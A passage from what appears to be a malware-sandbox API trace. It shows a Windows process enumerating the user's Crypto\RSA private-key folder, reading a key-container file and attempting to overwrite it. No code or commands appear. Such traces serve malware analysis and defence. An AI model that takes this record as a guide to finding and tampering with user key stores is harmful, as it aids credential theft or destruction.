ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0243.755] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.755] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0243.756] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0243.756] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0243.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0243.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0243.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0243.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x30 [0243.756] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0243.756] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.756] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0243.756] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0243.757] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0243.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0243.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0243.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0243.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x34 [0243.785] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0243.785] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.786] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0243.786] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0243.786] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0243.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0243.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0243.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0243.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x34 [0243.786] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0243.786] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.786] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0243.787] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0243.787] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0243.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0243.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0243.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0243.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x0) returned 0x62 [0243.787] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0243.789] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.789] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x7223c64d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="83AA4C~1")) returned 1 [0243.789] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78b163bf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="EC679D~1")) returned 1 [0243.789] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0243.789] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0243.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0243.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0243.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0243.790] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000", lpFilePart=0x0) returned 0x62 [0243.790] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0243.790] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.790] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x7223c64d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="83AA4C~1")) returned 1 [0243.790] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78b163bf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="EC679D~1")) returned 1 [0243.790] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78b163bf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="EC679D~1")) returned 0 [0243.790] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0243.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0243.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0243.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0xa8 [0243.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0243.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71"), fInfoLevelId=0x0, lpFileInformation=0x38c32a8 | out: lpFileInformation=0x38c32a8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x7223c64d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x7223c64d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x7223c64d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2d)) returned 1 [0243.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0243.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0xa8 [0243.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0243.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0243.791] GetFileType (hFile=0x630) returned 0x1 [0243.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb760) returned 1 [0243.791] GetFileType (hFile=0x630) returned 0x1 [0243.791] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x204eb998 | out: lpFileSizeHigh=0x204eb998*=0x0) returned 0x2d [0243.792] ReadFile (in: hFile=0x630, lpBuffer=0x38c37f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb8c8, lpOverlapped=0x0 | out: lpBuffer=0x38c37f0*, lpNumberOfBytesRead=0x204eb8c8*=0x2d, lpOverlapped=0x0) returned 1 [0243.792] CloseHandle (hObject=0x630) returned 1 [0243.819] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0xa8 [0243.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0243.819] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\83aa4cc77f591dfc2374580bbd95f6ba_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0243.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e81e0) returned 1 [0243.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0xa8 [0243.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb940) returned 1 [0243.949] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71"), fInfoLevelId=0x0, lpFileInformation=0x38cb218 | out: lpFileInformation=0x38cb218*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x78b163bf, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78b163bf, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78b163bf, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x2f)) returned 1 [0243.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb900) returned 1 [0243.949] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x204eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0xa8 [0243.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb7f0) returned 1 [0243.949] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-1051304884-625712362-2192934891-1000\\ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, 